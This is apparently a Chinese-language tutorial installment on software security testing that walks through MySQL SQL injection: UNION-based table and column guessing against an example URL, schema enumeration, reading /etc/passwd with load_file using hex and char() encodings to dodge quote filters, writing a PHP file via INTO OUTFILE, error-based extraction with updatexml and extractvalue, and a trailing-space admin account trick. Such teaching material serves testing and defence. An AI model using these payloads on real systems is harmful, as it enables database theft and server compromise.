軟體安全性測試(連載10)

  • 2019 年 12 月 26 日
  • 筆記

3. MySQL資料庫特性

1)MySQL資料庫注釋

MySQL資料庫注釋如下。

l#:注釋從'#'到行位。

l--:注釋從'--'序列到行位。

l/**/:注釋/*序列到後面*/序列之間的字元。

具體可參照以下程式碼。

//在mysql中如何寫注釋語句

mysql> SELECT 1+1; # 這個注釋直到該行結束

mysql> SELECT 1+1; -- 這個注釋直到該行結束

mysql> SELECT 1 /* 這是一個在行中間的注釋 */ + 1;

mysql> SELECT 1+

/*

這是一個

多行注釋的形式

*/

1;

但是有一個特例。

MariaDB [sec]> select /*!5555,name*/ id from user;

+------+-------+

| 5555 | id |

+------+-------+

| 5555 | jerry |

| 5555 | cindy |

| 5555 | linda |

| 5555 | susan |

| 5555 | peter |

+------+-------+

5 rows in set (0.00 sec)

表示如果當前版本高於5.55.5,name這列被顯示,否則顯示id這列。

2)獲得MySQL的元資訊

正如上一節講到,可以通過聯合查詢來或者資料庫的元資訊。

查詢資料庫名稱

MariaDB [sec]> select SCHEMA_NAME fromINFORMATION_SCHEMA.SCHEMATA LIMIT 0,20;

+--------------------+

| SCHEMA_NAME |

+--------------------+

| information_schema |

| mysql |

| performance_schema |

| phpmyadmin |

| sec |

| test |

+--------------------+

6 rows in set (0.00 sec)

查詢當前資料庫表

MariaDB [sec]> select TABLE_NAME fromINFORMATION_SCHEMA.TABLES where TABLE_SCHEMA =(select DATABASE()) LIMIT 0,10;

+------------+

| TABLE_NAME |

+------------+

| paper |

| user |

查詢表中所有欄位

MariaDB [sec]> select COLUMN_NAME from INFORMATION_SCHEMA.COLUMNSwhere TABLE_NAME='user' LIMIT 0,10;

+-------------+

| COLUMN_NAME |

+-------------+

| Host |

| User |

| Password |

| Select_priv |

| Insert_priv |

| Update_priv |

| Delete_priv |

| Create_priv |

| Drop_priv |

| Reload_priv |

+-------------+

10 rows in set (0.02 sec)

來看這麼一個聯合查詢

MariaDB[sec]> select id,name,password from user union select 1,2,3;

+----+-------+----------+

| id | name |password |

+----+-------+----------+

| 1 | jerry |654321 |

| 2 | cindy |123456 |

| 3 | linda |knyzh158 |

| 4 | susan |qwert |

| 5 | peter |zxcvb |

| 1 | 2 | 3 |

+----+-------+----------+

6 rows in set (0.00 sec)

首先找到一個存在SQL注入的網頁,然後利用上面這個聯合查詢來猜測資料庫中可能存在哪些表,表中可能存在哪些欄位。

網站http://www.domain.com/sec/21/jsp/index.jsp?id=3存在SQL注入漏洞。頁面顯示3號用戶的用戶資訊。猜測是否存在一個表名為person,用http://www.domain.com/sec/21/jsp/index.jsp?id=3 union all select 1,2,3 from person刺探,這是頁面出現500 error,說明不存在person這個表,然後根據經驗採用各種名稱,當猜測表名可能為user,用http://www.domain.com/sec/21/jsp/index.jsp?id=3union all select 1,2,3 from user刺探,沒有出現錯誤資訊,且出現了一堆如25一堆「用戶名:2,密碼:3」資訊,說明當前表名為user。

25 猜測到當前表名為當前表名為user

然後可以進一步猜欄位,比如先猜測欄位名是否為username,在地址欄中輸入:http:// www.domain.com/sec/21/jsp/index.jsp?i?id=3 union all select 1,2,username from user,出現500 error,進一步猜,當猜到欄位名為name的時候(這時URL為http:// www.domain.com/sec/21/jsp/index.jsp?i?id=3 union all select 1,2, name from user),顯示類似如26資訊,表示猜到了存在一個欄位名為user,並且可以看見所有這個欄位下的欄位名。

26 猜測到當前user表存在一個欄位name

3)讀寫文件

①讀文件

MySQL提供了load_file()函數用來讀文件,Into outfile()函數用來寫文件

讀文件:

...union select 1,load_file('/etc/passwd'),3, 4, 5, 6

通過這個語句,可以讀取Linix目錄中/etc/passwd文件。假設程式中不允許出現單引號',可以把上面語句改為。

...unionselect1,load_file(0x2F6563742F706173737764),3,4,5,6

0x2F6563742F706173737764為'/etc/passwd'十六進位格式,或者利用

...union se1ect1,load_file(char(47,101,99,116,47,112,97,115,115,119,100)),3,4,5,6

47,101,99,116,47,112,97,115,115,119,100為/etc/passwd 的ASCII碼。如果頁面出現亂碼,可以用下面hax()函數辦法來解決。

... union selecthex(load_file(char(99,58,92,49,46,116,120,116)));

②寫文件

可以通過下面語句來寫文件。

...union select '<?php phpinfo(): ?>' into outfile'c:wwwroot1.php'

或

...union select char(99,58,92,50,46,116,120,116) intooutfile 'c: wwwroot1.php'

對於讀寫文件注意Linux要有足夠的讀寫許可權,並且文件必須為全路徑名稱。

4)利用MySQL函數

①concat()或 concat_ws()函數

concat ()函數用於將多個字元串連接成一個字元串。

concat_ws() 代表 concat With Separator ,是concat()的特殊形式。第一個參數是其它參數的分隔符。

比如:

MariaDB [sec]> select name from user where id =3 unionselect concat_ws(0x2c,user(),database(),version());

+------------------------------------+

| name |

+------------------------------------+

| linda |

| root@localhost,sec,10.1.19-MariaDB |

+------------------------------------+

2 rows in set (0.00 sec)

0x2c為逗號。在查詢的第二行root@localhost,sec,10.1.19-MariaDB通過逗號分為root@localhost為當前用戶、sec為當前資料庫、10.1.19-MariaDB為當前版本。

②updatexml()和extractvalue()函數

在5.1.5中添加了updatexml()函數和extractvalue()函數

lupdatexml()函數:對XML文檔進行更新的函數。

lextractvalue()函數:對XML文檔進行查詢的函數。

第二個參數需要xpath格式的字元串。如果不符合要求,這顯示不符合標準的資訊,黑客可以利用這個方法來獲取資料庫元資訊。

顯示資料庫版本。

MariaDB [sec]> select * from user where id=3 andupdatexml(1,(concat(0x7c,(select @@version))),1);

ERROR 1105 (HY000): XPATH syntax error:'|10.1.19-MariaDB'

由於第二個參數不是xpath格式,所以先顯示XPATH syntax error,然後再顯示現在的內容為|10.1.19-MariaDB,即資料庫版本。

顯示當前用戶。

MariaDB [sec]> select * from user where id=3 andextractvalue(1,(concat(0x7c,(select user()))));

ERROR 1105 (HY000): XPATH syntax error: '|root@localhost'

同樣由於第二個參數不是xpath格式,所以先顯示XPATH syntax error,然後再顯示現在的內容為root@localhost,即當前用戶。

更多MySQL函數可以查詢MySQL的官方網站。

5)長度折斷

下面這條語句往user表中插入了一個系統管理員admin的賬戶,是通過正常手段生成的。

insert into user(name,password) values('admin','rrbbyqutb@66_18T');

黑客可以通過如下語句,也添加了一個admin的賬戶。

insert into user(name,password) values('admin ','123456');

因為在前期判斷中

select * from user where username='admin ';

返回是一個null對象,說明系統中不存在,所以可以建立。

然而使用查詢語句。

select * from user where name='admin';

則可以查詢出來兩條記錄,所以一旦黑客成功,這可以使用自己定義的用戶名/密碼登錄了。

Tags: